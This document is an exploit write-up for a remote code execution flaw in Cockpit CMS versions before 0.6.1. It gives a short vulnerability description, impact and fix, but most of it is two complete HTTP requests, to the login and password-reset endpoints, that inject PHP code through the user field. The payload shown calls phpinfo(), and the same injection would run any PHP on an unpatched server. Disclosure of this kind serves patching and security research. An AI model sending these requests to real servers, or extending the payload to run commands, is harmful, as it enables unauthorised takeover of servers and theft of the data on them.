Cockpit CMS Remote Code Execution

`# Cockpit CMS 0.6.1 - Remote Code Execution  
# Product: Cockpit CMS (https://getcockpit.com)  
# Version: Cockpit CMS < 0.6.1  
# Vulnerability Type: PHP Code Execution  
# Exploit Author: Rafael Resende  
# Attack Type: Remote  
# Vulnerability Description  
# Cockpit before 0.6.1 allows an attacker to inject custom PHP code and achieve Remote Command Execution via registerCriteriaFunction in lib/MongoLite/Database.php. Disclosed 2020-01-06.  
  
# Exploit Login  
POST /auth/check HTTP/1.1  
Host: example.com  
User-Agent: Mozilla/5.0  
Content-Type: application/json; charset=UTF-8  
Content-Length: 52  
Origin: https://example.com  
  
{"auth":{"user":"test'.phpinfo().'","password":"b"}}  
  
# Exploit Password reset  
POST /auth/requestreset HTTP/1.1  
Host: example.com  
User-Agent: Mozilla/5.0  
Content-Type: application/json; charset=UTF-8  
Content-Length: 28  
Origin: https://example.com  
  
{"user":"test'.phpinfo().'"}  
  
## Impact  
Allows attackers to execute malicious codes to get access to the server.  
  
## Fix  
Update to versions >= 0.6.1  
  
`